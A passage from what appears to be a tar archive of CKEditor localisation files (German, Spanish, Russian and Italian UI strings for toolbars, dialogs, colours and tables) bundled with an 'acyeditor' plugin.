Einheit"},"toolbar":{"toolbarCollapse":"Symbolleiste einklappen","toolbarExpand":"Symbolleiste ausklappen","toolbarGroups":{"document":"Dokument","clipboard":"Zwischenablage/Rückgängig","editing":"Editieren","forms":"Formularen","basicstyles":"Grundstile","paragraph":"Absatz","links":"Links","insert":"Einfügen","styles":"Stile","colors":"Farben","tools":"Werkzeuge"},"toolbars":"Editor Symbolleisten"},"undo":{"redo":"Wiederherstellen","undo":"Rückgängig"},"sourcedialog":{"toolbar":"Quellcode","title":"Quellcode"},"acymediabrowser":{"toolbar":"Bild"},"addtag":{"toolbar":"Schlagworte"},"smiley":{"toolbar":"Emojis"}};                                                                                                                                                                                                                                           editors/acyeditor/acyeditor/ckeditor/lang/es.js                                                     0000705                 00000030050 15242051521 0015646 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['es']={"editor":"Editor de texto enriquecido","editorPanel":"Panel del Editor de Texto Enriquecido","common":{"editorHelp":"Pulse ALT 0 para ayuda","browseServer":"Ver Servidor","url":"URL","protocol":"Protocolo","upload":"Cargar","uploadSubmit":"Enviar al Servidor","image":"Imagen","flash":"Flash","form":"Formulario","checkbox":"Casilla de Verificación","radio":"Botones de Radio","textField":"Campo de Texto","textarea":"Area de Texto","hiddenField":"Campo Oculto","button":"Botón","select":"Campo de Selección","imageButton":"Botón Imagen","notSet":"<No definido>","id":"Id","name":"Nombre","langDir":"Orientación","langDirLtr":"Izquierda a Derecha (LTR)","langDirRtl":"Derecha a Izquierda (RTL)","langCode":"Cód. de idioma","longDescr":"Descripción larga URL","cssClass":"Clases de hojas de estilo","advisoryTitle":"Título","cssStyle":"Estilo","ok":"Aceptar","cancel":"Cancelar","close":"Cerrar","preview":"Previsualización","resize":"Arrastre para redimensionar","generalTab":"General","advancedTab":"Avanzado","validateNumberFailed":"El valor no es un número.","confirmNewPage":"Cualquier cambio que no se haya guardado se perderá.\r\n¿Está seguro de querer crear una nueva página?","confirmCancel":"Algunas de las opciones se han cambiado.\r\n¿Está seguro de querer cerrar el diálogo?","options":"Opciones","target":"Destino","targetNew":"Nueva ventana (_blank)","targetTop":"Ventana principal (_top)","targetSelf":"Misma ventana (_self)","targetParent":"Ventana padre (_parent)","langDirLTR":"Izquierda a derecha (LTR)","langDirRTL":"Derecha a izquierda (RTL)","styles":"Estilos","cssClasses":"Clase de la hoja de estilos","width":"Anchura","height":"Altura","align":"Alineación","alignLeft":"Izquierda","alignRight":"Derecha","alignCenter":"Centrado","alignJustify":"Justificado","alignTop":"Tope","alignMiddle":"Centro","alignBottom":"Pie","alignNone":"None","invalidValue":"Valor no válido","invalidHeight":"Altura debe ser un número.","invalidWidth":"Anchura debe ser un número.","invalidCssLength":"El valor especificado para el campo \"%1\" debe ser un número positivo, incluyendo optionalmente una unidad de medida CSS válida (px, %, in, cm, mm, em, ex, pt, o pc).","invalidHtmlLength":"El valor especificado para el campo \"%1\" debe ser un número positivo, incluyendo optionalmente una unidad de medida HTML válida (px o %).","invalidInlineStyle":"El valor especificado para el estilo debe consistir en uno o más pares con el formato \"nombre: valor\", separados por punto y coma.","cssLengthTooltip":"Introduca un número para el valor en pixels o un número con una unidad de medida CSS válida (px, %, in, cm, mm, em, ex, pt, o pc).","unavailable":"%1<span class=\"cke_accessibility\">, no disponible</span>"},"basicstyles":{"bold":"Negrita","italic":"Cursiva","strike":"Tachado","subscript":"Subíndice","superscript":"Superíndice","underline":"Subrayado"},"blockquote":{"toolbar":"Cita"},"clipboard":{"copy":"Copiar","copyError":"La configuración de seguridad de este navegador no permite la ejecución automática de operaciones de copiado.\r\nPor favor use el teclado (Ctrl/Cmd+C).","cut":"Cortar","cutError":"La configuración de seguridad de este navegador no permite la ejecución automática de operaciones de cortado.\r\nPor favor use el teclado (Ctrl/Cmd+X).","paste":"Pegar","pasteArea":"Zona de pegado","pasteMsg":"Por favor pegue dentro del cuadro utilizando el teclado (<STRONG>Ctrl/Cmd+V</STRONG>);\r\nluego presione <STRONG>Aceptar</STRONG>.","securityMsg":"Debido a la configuración de seguridad de su navegador, el editor no tiene acceso al portapapeles.\r\nEs necesario que lo pegue de nuevo en esta ventana.","title":"Pegar"},"button":{"selectedLabel":"%1 (Selected)"},"colorbutton":{"auto":"Automático","bgColorTitle":"Color de Fondo","colors":{"000":"Negro","800000":"Marrón oscuro","8B4513":"Marrón tierra","2F4F4F":"Pizarra Oscuro","008080":"Azul verdoso","000080":"Azul marino","4B0082":"Añil","696969":"Gris oscuro","B22222":"Ladrillo","A52A2A":"Marrón","DAA520":"Oro oscuro","006400":"Verde oscuro","40E0D0":"Turquesa","0000CD":"Azul medio-oscuro","800080":"Púrpura","808080":"Gris","F00":"Rojo","FF8C00":"Naranja oscuro","FFD700":"Oro","008000":"Verde","0FF":"Cian","00F":"Azul","EE82EE":"Violeta","A9A9A9":"Gris medio","FFA07A":"Salmón claro","FFA500":"Naranja","FFFF00":"Amarillo","00FF00":"Lima","AFEEEE":"Turquesa claro","ADD8E6":"Azul claro","DDA0DD":"Violeta claro","D3D3D3":"Gris claro","FFF0F5":"Lavanda rojizo","FAEBD7":"Blanco antiguo","FFFFE0":"Amarillo claro","F0FFF0":"Miel","F0FFFF":"Azul celeste","F0F8FF":"Azul pálido","E6E6FA":"Lavanda","FFF":"Blanco"},"more":"Más Colores...","panelTitle":"Colores","textColorTitle":"Color de Texto"},"colordialog":{"clear":"Borrar","highlight":"Muestra","options":"Opciones de colores","selected":"Elegido","title":"Elegir color"},"contextmenu":{"options":"Opciones del menú contextual"},"elementspath":{"eleLabel":"Ruta de los elementos","eleTitle":"%1 elemento"},"font":{"fontSize":{"label":"Tamaño","voiceLabel":"Tamaño de fuente","panelTitle":"Tamaño"},"label":"Fuente","panelTitle":"Fuente","voiceLabel":"Fuente"},"format":{"label":"Formato","panelTitle":"Formato","tag_address":"Dirección","tag_div":"Normal (DIV)","tag_h1":"Encabezado 1","tag_h2":"Encabezado 2","tag_h3":"Encabezado 3","tag_h4":"Encabezado 4","tag_h5":"Encabezado 5","tag_h6":"Encabezado 6","tag_p":"Normal","tag_pre":"Con formato"},"horizontalrule":{"toolbar":"Insertar Línea Horizontal"},"image":{"alertUrl":"Por favor escriba la URL de la imagen","alt":"Texto Alternativo","border":"Borde","btnUpload":"Enviar al Servidor","button2Img":"¿Desea convertir el botón de imagen en una simple imagen?","hSpace":"Esp.Horiz","img2Button":"¿Desea convertir la imagen en un botón de imagen?","infoTab":"Información de Imagen","linkTab":"Vínculo","lockRatio":"Proporcional","menu":"Propiedades de Imagen","resetSize":"Tamaño Original","title":"Propiedades de Imagen","titleButton":"Propiedades de Botón de Imagen","upload":"Cargar","urlMissing":"Debe indicar la URL de la imagen.","vSpace":"Esp.Vert","validateBorder":"El borde debe ser un número.","validateHSpace":"El espaciado horizontal debe ser un número.","validateVSpace":"El espaciado vertical debe ser un número."},"indent":{"indent":"Aumentar Sangría","outdent":"Disminuir Sangría"},"justify":{"block":"Justificado","center":"Centrar","left":"Alinear a Izquierda","right":"Alinear a Derecha"},"fakeobjects":{"anchor":"Ancla","flash":"Animación flash","hiddenfield":"Campo oculto","iframe":"IFrame","unknown":"Objeto desconocido"},"link":{"acccessKey":"Tecla de Acceso","advanced":"Avanzado","advisoryContentType":"Tipo de Contenido","advisoryTitle":"Título","anchor":{"toolbar":"Referencia","menu":"Propiedades de Referencia","title":"Propiedades de Referencia","name":"Nombre de la Referencia","errorName":"Por favor, complete el nombre de la Referencia","remove":"Quitar Referencia"},"anchorId":"Por ID de elemento","anchorName":"Por Nombre de Referencia","charset":"Fuente de caracteres vinculado","cssClasses":"Clases de hojas de estilo","emailAddress":"Dirección de E-Mail","emailBody":"Cuerpo del Mensaje","emailSubject":"Título del Mensaje","id":"Id","info":"Información de Vínculo","langCode":"Código idioma","langDir":"Orientación","langDirLTR":"Izquierda a Derecha (LTR)","langDirRTL":"Derecha a Izquierda (RTL)","menu":"Editar Vínculo","name":"Nombre","noAnchors":"(No hay referencias disponibles en el documento)","noEmail":"Por favor escriba la dirección de e-mail","noUrl":"Por favor escriba el vínculo URL","other":"<otro>","popupDependent":"Dependiente (Netscape)","popupFeatures":"Características de Ventana Emergente","popupFullScreen":"Pantalla Completa (IE)","popupLeft":"Posición Izquierda","popupLocationBar":"Barra de ubicación","popupMenuBar":"Barra de Menú","popupResizable":"Redimensionable","popupScrollBars":"Barras de desplazamiento","popupStatusBar":"Barra de Estado","popupToolbar":"Barra de Herramientas","popupTop":"Posición Derecha","rel":"Relación","selectAnchor":"Seleccionar una referencia","styles":"Estilo","tabIndex":"Indice de tabulación","target":"Destino","targetFrame":"<marco>","targetFrameName":"Nombre del Marco Destino","targetPopup":"<ventana emergente>","targetPopupName":"Nombre de Ventana Emergente","title":"Vínculo","toAnchor":"Referencia en esta página","toEmail":"E-Mail","toUrl":"URL","toolbar":"Insertar/Editar Vínculo","type":"Tipo de vínculo","unlink":"Eliminar Vínculo","upload":"Cargar"},"list":{"bulletedlist":"Viñetas","numberedlist":"Numeración"},"maximize":{"maximize":"Maximizar","minimize":"Minimizar"},"pastefromword":{"confirmCleanup":"El texto que desea parece provenir de Word.\r\n¿Desea depurarlo antes de pegarlo?","error":"No ha sido posible limpiar los datos debido a un error interno","title":"Pegar desde Word","toolbar":"Pegar desde Word"},"pastetext":{"button":"Pegar como Texto Plano","title":"Pegar como Texto Plano"},"removeformat":{"toolbar":"Eliminar Formato"},"sourcearea":{"toolbar":"Fuente HTML"},"stylescombo":{"label":"Estilo","panelTitle":"Estilos para formatear","panelTitle1":"Estilos de párrafo","panelTitle2":"Estilos de carácter","panelTitle3":"Estilos de objeto"},"table":{"border":"Tamaño de Borde","caption":"Título","cell":{"menu":"Celda","insertBefore":"Insertar celda a la izquierda","insertAfter":"Insertar celda a la derecha","deleteCell":"Eliminar Celdas","merge":"Combinar Celdas","mergeRight":"Combinar a la derecha","mergeDown":"Combinar hacia abajo","splitHorizontal":"Dividir la celda horizontalmente","splitVertical":"Dividir la celda verticalmente","title":"Propiedades de celda","cellType":"Tipo de Celda","rowSpan":"Expandir filas","colSpan":"Expandir columnas","wordWrap":"Ajustar al contenido","hAlign":"Alineación Horizontal","vAlign":"Alineación Vertical","alignBaseline":"Linea de base","bgColor":"Color de fondo","borderColor":"Color de borde","data":"Datos","header":"Encabezado","yes":"Sí","no":"No","invalidWidth":"La anchura de celda debe ser un número.","invalidHeight":"La altura de celda debe ser un número.","invalidRowSpan":"La expansión de filas debe ser un número entero.","invalidColSpan":"La expansión de columnas debe ser un número entero.","chooseColor":"Elegir"},"cellPad":"Esp. interior","cellSpace":"Esp. e/celdas","column":{"menu":"Columna","insertBefore":"Insertar columna a la izquierda","insertAfter":"Insertar columna a la derecha","deleteColumn":"Eliminar Columnas"},"columns":"Columnas","deleteTable":"Eliminar Tabla","headers":"Encabezados","headersBoth":"Ambas","headersColumn":"Primera columna","headersNone":"Ninguno","headersRow":"Primera fila","invalidBorder":"El tamaño del borde debe ser un número.","invalidCellPadding":"El espaciado interior debe ser un número.","invalidCellSpacing":"El espaciado entre celdas debe ser un número.","invalidCols":"El número de columnas debe ser un número mayor que 0.","invalidHeight":"La altura de tabla debe ser un número.","invalidRows":"El número de filas debe ser un número mayor que 0.","invalidWidth":"La anchura de tabla debe ser un número.","menu":"Propiedades de Tabla","row":{"menu":"Fila","insertBefore":"Insertar fila en la parte superior","insertAfter":"Insertar fila en la parte inferior","deleteRow":"Eliminar Filas"},"rows":"Filas","summary":"Síntesis","title":"Propiedades de Tabla","toolbar":"Tabla","widthPc":"porcentaje","widthPx":"pixeles","widthUnit":"unidad de la anchura"},"toolbar":{"toolbarCollapse":"Contraer barra de herramientas","toolbarExpand":"Expandir barra de herramientas","toolbarGroups":{"document":"Documento","clipboard":"Portapapeles/Deshacer","editing":"Edición","forms":"Formularios","basicstyles":"Estilos básicos","paragraph":"Párrafo","links":"Enlaces","insert":"Insertar","styles":"Estilos","colors":"Colores","tools":"Herramientas"},"toolbars":"Barras de herramientas del editor"},"undo":{"redo":"Rehacer","undo":"Deshacer"},"sourcedialog":{"toolbar":"Fuente HTML","title":"Fuente HTML"},"acymediabrowser":{"toolbar":"Imagen"},"addtag":{"toolbar":"Etiquetas"},"smiley":{"toolbar":"Emojis"}};                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        editors/acyeditor/acyeditor/ckeditor/lang/ru.js                                                     0000705                 00000042573 15242051521 0015702 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['ru']={"editor":"Визуальный текстовый редактор","editorPanel":"Визуальный редактор текста","common":{"editorHelp":"Нажмите ALT-0 для открытия справки","browseServer":"Выбор на сервере","url":"Ссылка","protocol":"Протокол","upload":"Загрузка файла","uploadSubmit":"Загрузить на сервер","image":"Изображение","flash":"Flash","form":"Форма","checkbox":"Чекбокс","radio":"Радиокнопка","textField":"Текстовое поле","textarea":"Многострочное текстовое поле","hiddenField":"Скрытое поле","button":"Кнопка","select":"Выпадающий список","imageButton":"Кнопка-изображение","notSet":"<не указано>","id":"Идентификатор","name":"Имя","langDir":"Направление текста","langDirLtr":"Слева направо (LTR)","langDirRtl":"Справа налево (RTL)","langCode":"Код языка","longDescr":"Длинное описание ссылки","cssClass":"Класс CSS","advisoryTitle":"Заголовок","cssStyle":"Стиль","ok":"ОК","cancel":"Отмена","close":"Закрыть","preview":"Предпросмотр","resize":"Перетащите для изменения размера","generalTab":"Основное","advancedTab":"Дополнительно","validateNumberFailed":"Это значение не является числом.","confirmNewPage":"Несохранённые изменения будут потеряны! Вы действительно желаете перейти на другую страницу?","confirmCancel":"Некоторые параметры были изменены. Вы уверены, что желаете закрыть без сохранения?","options":"Параметры","target":"Цель","targetNew":"Новое окно (_blank)","targetTop":"Главное окно (_top)","targetSelf":"Текущее окно (_self)","targetParent":"Родительское окно (_parent)","langDirLTR":"Слева направо (LTR)","langDirRTL":"Справа налево (RTL)","styles":"Стиль","cssClasses":"CSS классы","width":"Ширина","height":"Высота","align":"Выравнивание","alignLeft":"По левому краю","alignRight":"По правому краю","alignCenter":"По центру","alignJustify":"По ширине","alignTop":"Поверху","alignMiddle":"Посередине","alignBottom":"Понизу","alignNone":"Нет","invalidValue":"Недопустимое значение.","invalidHeight":"Высота задается числом.","invalidWidth":"Ширина задается числом.","invalidCssLength":"Значение, указанное в поле \"%1\", должно быть положительным целым числом. Допускается указание единиц меры CSS (px, %, in, cm, mm, em, ex, pt или pc).","invalidHtmlLength":"Значение, указанное в поле \"%1\", должно быть положительным целым числом. Допускается указание единиц меры HTML (px или %).","invalidInlineStyle":"Значение, указанное для стиля элемента, должно состоять из одной или нескольких пар данных в формате \"параметр : значение\", разделённых точкой с запятой.","cssLengthTooltip":"Введите значение в пикселях, либо число с корректной единицей меры CSS (px, %, in, cm, mm, em, ex, pt или pc).","unavailable":"%1<span class=\"cke_accessibility\">, недоступно</span>"},"basicstyles":{"bold":"Полужирный","italic":"Курсив","strike":"Зачеркнутый","subscript":"Подстрочный индекс","superscript":"Надстрочный индекс","underline":"Подчеркнутый"},"blockquote":{"toolbar":"Цитата"},"clipboard":{"copy":"Копировать","copyError":"Настройки безопасности вашего браузера не разрешают редактору выполнять операции по копированию текста. Пожалуйста, используйте для этого клавиатуру (Ctrl/Cmd+C).","cut":"Вырезать","cutError":"Настройки безопасности вашего браузера не разрешают редактору выполнять операции по вырезке текста. Пожалуйста, используйте для этого клавиатуру (Ctrl/Cmd+X).","paste":"Вставить","pasteArea":"Зона для вставки","pasteMsg":"Пожалуйста, вставьте текст в зону ниже, используя клавиатуру (<strong>Ctrl/Cmd+V</strong>) и нажмите кнопку \"OK\".","securityMsg":"Настройки безопасности вашего браузера не разрешают редактору напрямую обращаться к буферу обмена. Вы должны вставить текст снова в это окно.","title":"Вставить"},"button":{"selectedLabel":"%1 (Выбрано)"},"colorbutton":{"auto":"Автоматически","bgColorTitle":"Цвет фона","colors":{"000":"Чёрный","800000":"Бордовый","8B4513":"Кожано-коричневый","2F4F4F":"Темный синевато-серый","008080":"Сине-зелёный","000080":"Тёмно-синий","4B0082":"Индиго","696969":"Тёмно-серый","B22222":"Кирпичный","A52A2A":"Коричневый","DAA520":"Золотисто-берёзовый","006400":"Темно-зелёный","40E0D0":"Бирюзовый","0000CD":"Умеренно синий","800080":"Пурпурный","808080":"Серый","F00":"Красный","FF8C00":"Темно-оранжевый","FFD700":"Золотистый","008000":"Зелёный","0FF":"Васильковый","00F":"Синий","EE82EE":"Фиолетовый","A9A9A9":"Тускло-серый","FFA07A":"Светло-лососевый","FFA500":"Оранжевый","FFFF00":"Жёлтый","00FF00":"Лайма","AFEEEE":"Бледно-синий","ADD8E6":"Свелто-голубой","DDA0DD":"Сливовый","D3D3D3":"Светло-серый","FFF0F5":"Розово-лавандовый","FAEBD7":"Античный белый","FFFFE0":"Светло-жёлтый","F0FFF0":"Медвяной росы","F0FFFF":"Лазурный","F0F8FF":"Бледно-голубой","E6E6FA":"Лавандовый","FFF":"Белый"},"more":"Ещё цвета...","panelTitle":"Цвета","textColorTitle":"Цвет текста"},"colordialog":{"clear":"Очистить","highlight":"Под курсором","options":"Настройки цвета","selected":"Выбранный цвет","title":"Выберите цвет"},"contextmenu":{"options":"Параметры контекстного меню"},"elementspath":{"eleLabel":"Путь элементов","eleTitle":"Элемент %1"},"font":{"fontSize":{"label":"Размер","voiceLabel":"Размер шрифта","panelTitle":"Размер шрифта"},"label":"Шрифт","panelTitle":"Шрифт","voiceLabel":"Шрифт"},"format":{"label":"Форматирование","panelTitle":"Форматирование","tag_address":"Адрес","tag_div":"Обычное (div)","tag_h1":"Заголовок 1","tag_h2":"Заголовок 2","tag_h3":"Заголовок 3","tag_h4":"Заголовок 4","tag_h5":"Заголовок 5","tag_h6":"Заголовок 6","tag_p":"Обычное","tag_pre":"Моноширинное"},"horizontalrule":{"toolbar":"Вставить горизонтальную линию"},"image":{"alertUrl":"Пожалуйста, введите ссылку на изображение","alt":"Альтернативный текст","border":"Граница","btnUpload":"Загрузить на сервер","button2Img":"Вы желаете преобразовать это изображение-кнопку в обычное изображение?","hSpace":"Гориз. отступ","img2Button":"Вы желаете преобразовать это обычное изображение в изображение-кнопку?","infoTab":"Данные об изображении","linkTab":"Ссылка","lockRatio":"Сохранять пропорции","menu":"Свойства изображения","resetSize":"Вернуть обычные размеры","title":"Свойства изображения","titleButton":"Свойства изображения-кнопки","upload":"Загрузить","urlMissing":"Не указана ссылка на изображение.","vSpace":"Вертик. отступ","validateBorder":"Размер границ должен быть задан числом.","validateHSpace":"Горизонтальный отступ должен быть задан числом.","validateVSpace":"Вертикальный отступ должен быть задан числом."},"indent":{"indent":"Увеличить отступ","outdent":"Уменьшить отступ"},"justify":{"block":"По ширине","center":"По центру","left":"По левому краю","right":"По правому краю"},"fakeobjects":{"anchor":"Якорь","flash":"Flash анимация","hiddenfield":"Скрытое поле","iframe":"iFrame","unknown":"Неизвестный объект"},"link":{"acccessKey":"Клавиша доступа","advanced":"Дополнительно","advisoryContentType":"Тип содержимого","advisoryTitle":"Заголовок","anchor":{"toolbar":"Вставить / редактировать якорь","menu":"Изменить якорь","title":"Свойства якоря","name":"Имя якоря","errorName":"Пожалуйста, введите имя якоря","remove":"Удалить якорь"},"anchorId":"По идентификатору","anchorName":"По имени","charset":"Кодировка ресурса","cssClasses":"Классы CSS","emailAddress":"Email адрес","emailBody":"Текст сообщения","emailSubject":"Тема сообщения","id":"Идентификатор","info":"Информация о ссылке","langCode":"Код языка","langDir":"Направление текста","langDirLTR":"Слева направо (LTR)","langDirRTL":"Справа налево (RTL)","menu":"Редактировать ссылку","name":"Имя","noAnchors":"(В документе нет ни одного якоря)","noEmail":"Пожалуйста, введите email адрес","noUrl":"Пожалуйста, введите ссылку","other":"<другой>","popupDependent":"Зависимое (Netscape)","popupFeatures":"Параметры всплывающего окна","popupFullScreen":"Полноэкранное (IE)","popupLeft":"Отступ слева","popupLocationBar":"Панель адреса","popupMenuBar":"Панель меню","popupResizable":"Изменяемый размер","popupScrollBars":"Полосы прокрутки","popupStatusBar":"Строка состояния","popupToolbar":"Панель инструментов","popupTop":"Отступ сверху","rel":"Отношение","selectAnchor":"Выберите якорь","styles":"Стиль","tabIndex":"Последовательность перехода","target":"Цель","targetFrame":"<фрейм>","targetFrameName":"Имя целевого фрейма","targetPopup":"<всплывающее окно>","targetPopupName":"Имя всплывающего окна","title":"Ссылка","toAnchor":"Ссылка на якорь в тексте","toEmail":"Email","toUrl":"Ссылка","toolbar":"Вставить/Редактировать ссылку","type":"Тип ссылки","unlink":"Убрать ссылку","upload":"Загрузка"},"list":{"bulletedlist":"Вставить / удалить маркированный список","numberedlist":"Вставить / удалить нумерованный список"},"maximize":{"maximize":"Развернуть","minimize":"Свернуть"},"pastefromword":{"confirmCleanup":"Текст, который вы желаете вставить, по всей видимости, был скопирован из Word. Следует ли очистить его перед вставкой?","error":"Невозможно очистить вставленные данные из-за внутренней ошибки","title":"Вставить из Word","toolbar":"Вставить из Word"},"pastetext":{"button":"Вставить только текст","title":"Вставить только текст"},"removeformat":{"toolbar":"Убрать форматирование"},"sourcearea":{"toolbar":"Источник"},"stylescombo":{"label":"Стили","panelTitle":"Стили форматирования","panelTitle1":"Стили блока","panelTitle2":"Стили элемента","panelTitle3":"Стили объекта"},"table":{"border":"Размер границ","caption":"Заголовок","cell":{"menu":"Ячейка","insertBefore":"Вставить ячейку слева","insertAfter":"Вставить ячейку справа","deleteCell":"Удалить ячейки","merge":"Объединить ячейки","mergeRight":"Объединить с правой","mergeDown":"Объединить с нижней","splitHorizontal":"Разделить ячейку по горизонтали","splitVertical":"Разделить ячейку по вертикали","title":"Свойства ячейки","cellType":"Тип ячейки","rowSpan":"Объединяет строк","colSpan":"Объединяет колонок","wordWrap":"Перенос по словам","hAlign":"Горизонтальное выравнивание","vAlign":"Вертикальное выравнивание","alignBaseline":"По базовой линии","bgColor":"Цвет фона","borderColor":"Цвет границ","data":"Данные","header":"Заголовок","yes":"Да","no":"Нет","invalidWidth":"Ширина ячейки должна быть числом.","invalidHeight":"Высота ячейки должна быть числом.","invalidRowSpan":"Количество объединяемых строк должно быть задано числом.","invalidColSpan":"Количество объединяемых колонок должно быть задано числом.","chooseColor":"Выберите"},"cellPad":"Внутренний отступ ячеек","cellSpace":"Внешний отступ ячеек","column":{"menu":"Колонка","insertBefore":"Вставить колонку слева","insertAfter":"Вставить колонку справа","deleteColumn":"Удалить колонки"},"columns":"Колонки","deleteTable":"Удалить таблицу","headers":"Заголовки","headersBoth":"Сверху и слева","headersColumn":"Левая колонка","headersNone":"Без заголовков","headersRow":"Верхняя строка","invalidBorder":"Размер границ должен быть числом.","invalidCellPadding":"Внутренний отступ ячеек (cellpadding) должен быть числом.","invalidCellSpacing":"Внешний отступ ячеек (cellspacing) должен быть числом.","invalidCols":"Количество столбцов должно быть больше 0.","invalidHeight":"Высота таблицы должна быть числом.","invalidRows":"Количество строк должно быть больше 0.","invalidWidth":"Ширина таблицы должна быть числом.","menu":"Свойства таблицы","row":{"menu":"Строка","insertBefore":"Вставить строку сверху","insertAfter":"Вставить строку снизу","deleteRow":"Удалить строки"},"rows":"Строки","summary":"Итоги","title":"Свойства таблицы","toolbar":"Таблица","widthPc":"процентов","widthPx":"пикселей","widthUnit":"единица измерения"},"toolbar":{"toolbarCollapse":"Свернуть панель инструментов","toolbarExpand":"Развернуть панель инструментов","toolbarGroups":{"document":"Документ","clipboard":"Буфер обмена / Отмена действий","editing":"Корректировка","forms":"Формы","basicstyles":"Простые стили","paragraph":"Абзац","links":"Ссылки","insert":"Вставка","styles":"Стили","colors":"Цвета","tools":"Инструменты"},"toolbars":"Панели инструментов редактора"},"undo":{"redo":"Повторить","undo":"Отменить"},"sourcedialog":{"toolbar":"Исходник","title":"Источник"},"acymediabrowser":{"toolbar":"Изображение"},"addtag":{"toolbar":"Теги"},"smiley":{"toolbar":"Emojis"}};                                                                                                                                     editors/acyeditor/acyeditor/ckeditor/lang/it.js                                                     0000705                 00000027664 15242051521 0015674 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['it']={"editor":"Rich Text Editor","editorPanel":"Pannello Rich Text Editor","common":{"editorHelp":"Premi ALT 0 per aiuto","browseServer":"Cerca sul server","url":"URL","protocol":"Protocollo","upload":"Carica","uploadSubmit":"Invia al server","image":"Immagine","flash":"Oggetto Flash","form":"Modulo","checkbox":"Checkbox","radio":"Radio Button","textField":"Campo di testo","textarea":"Area di testo","hiddenField":"Campo nascosto","button":"Bottone","select":"Menu di selezione","imageButton":"Bottone immagine","notSet":"<non impostato>","id":"Id","name":"Nome","langDir":"Direzione scrittura","langDirLtr":"Da Sinistra a Destra (LTR)","langDirRtl":"Da Destra a Sinistra (RTL)","langCode":"Codice Lingua","longDescr":"URL descrizione estesa","cssClass":"Nome classe CSS","advisoryTitle":"Titolo","cssStyle":"Stile","ok":"OK","cancel":"Annulla","close":"Chiudi","preview":"Anteprima","resize":"Trascina per ridimensionare","generalTab":"Generale","advancedTab":"Avanzate","validateNumberFailed":"Il valore inserito non è un numero.","confirmNewPage":"Ogni modifica non salvata sarà persa. Sei sicuro di voler caricare una nuova pagina?","confirmCancel":"Alcune delle opzioni sono state cambiate. Sei sicuro di voler chiudere la finestra di dialogo?","options":"Opzioni","target":"Destinazione","targetNew":"Nuova finestra (_blank)","targetTop":"Finestra in primo piano (_top)","targetSelf":"Stessa finestra (_self)","targetParent":"Finestra Padre (_parent)","langDirLTR":"Da sinistra a destra (LTR)","langDirRTL":"Da destra a sinistra (RTL)","styles":"Stile","cssClasses":"Classi di stile","width":"Larghezza","height":"Altezza","align":"Allineamento","alignLeft":"Sinistra","alignRight":"Destra","alignCenter":"Centrato","alignJustify":"Giustifica","alignTop":"In Alto","alignMiddle":"Centrato","alignBottom":"In Basso","alignNone":"Nessuno","invalidValue":"Valore non valido.","invalidHeight":"L'altezza dev'essere un numero","invalidWidth":"La Larghezza dev'essere un numero","invalidCssLength":"Il valore indicato per il campo \"%1\" deve essere un numero positivo con o senza indicazione di una valida unità di misura per le classi CSS (px, %, in, cm, mm, em, ex, pt, o pc).","invalidHtmlLength":"Il valore indicato per il campo \"%1\" deve essere un numero positivo con o senza indicazione di una valida unità di misura per le pagine HTML (px o %).","invalidInlineStyle":"Il valore specificato per lo stile inline deve consistere in una o più tuple con il formato di \"name : value\", separati da semicolonne.","cssLengthTooltip":"Inserisci un numero per il valore in pixel oppure un numero con una valida unità CSS (px, %, in, cm, mm, ex, pt, o pc).","unavailable":"%1<span class=\"cke_accessibility\">, non disponibile</span>"},"basicstyles":{"bold":"Grassetto","italic":"Corsivo","strike":"Barrato","subscript":"Pedice","superscript":"Apice","underline":"Sottolineato"},"blockquote":{"toolbar":"Citazione"},"clipboard":{"copy":"Copia","copyError":"Le impostazioni di sicurezza del browser non permettono di copiare automaticamente il testo. Usa la tastiera (Ctrl/Cmd+C).","cut":"Taglia","cutError":"Le impostazioni di sicurezza del browser non permettono di tagliare automaticamente il testo. Usa la tastiera (Ctrl/Cmd+X).","paste":"Incolla","pasteArea":"Incolla","pasteMsg":"Incolla il testo all'interno dell'area sottostante usando la scorciatoia di tastiere (<STRONG>Ctrl/Cmd+V</STRONG>) e premi <STRONG>OK</STRONG>.","securityMsg":"A causa delle impostazioni di sicurezza del browser,l'editor non è in grado di accedere direttamente agli appunti. E' pertanto necessario incollarli di nuovo in questa finestra.","title":"Incolla"},"button":{"selectedLabel":"%1 (selezionato)"},"colorbutton":{"auto":"Automatico","bgColorTitle":"Colore sfondo","colors":{"000":"Nero","800000":"Marrone Castagna","8B4513":"Marrone Cuoio","2F4F4F":"Grigio Fumo di Londra","008080":"Acquamarina","000080":"Blu Oceano","4B0082":"Indigo","696969":"Grigio Scuro","B22222":"Giallo Fiamma","A52A2A":"Marrone","DAA520":"Giallo Mimosa","006400":"Verde Scuro","40E0D0":"Turchese","0000CD":"Blue Scuro","800080":"Viola","808080":"Grigio","F00":"Rosso","FF8C00":"Arancio Scuro","FFD700":"Oro","008000":"Verde","0FF":"Ciano","00F":"Blu","EE82EE":"Violetto","A9A9A9":"Grigio Scuro","FFA07A":"Salmone","FFA500":"Arancio","FFFF00":"Giallo","00FF00":"Lime","AFEEEE":"Turchese Chiaro","ADD8E6":"Blu Chiaro","DDA0DD":"Rosso Ciliegia","D3D3D3":"Grigio Chiaro","FFF0F5":"Lavanda Chiara","FAEBD7":"Bianco Antico","FFFFE0":"Giallo Chiaro","F0FFF0":"Verde Mela","F0FFFF":"Azzurro","F0F8FF":"Celeste","E6E6FA":"Lavanda","FFF":"Bianco"},"more":"Altri colori...","panelTitle":"Colori","textColorTitle":"Colore testo"},"colordialog":{"clear":"cancella","highlight":"Evidenzia","options":"Opzioni colore","selected":"Seleziona il colore","title":"Selezionare il colore"},"contextmenu":{"options":"Opzioni del menù contestuale"},"elementspath":{"eleLabel":"Percorso degli elementi","eleTitle":"%1 elemento"},"font":{"fontSize":{"label":"Dimensione","voiceLabel":"Dimensione Carattere","panelTitle":"Dimensione"},"label":"Carattere","panelTitle":"Carattere","voiceLabel":"Carattere"},"format":{"label":"Formato","panelTitle":"Formato","tag_address":"Indirizzo","tag_div":"Paragrafo (DIV)","tag_h1":"Titolo 1","tag_h2":"Titolo 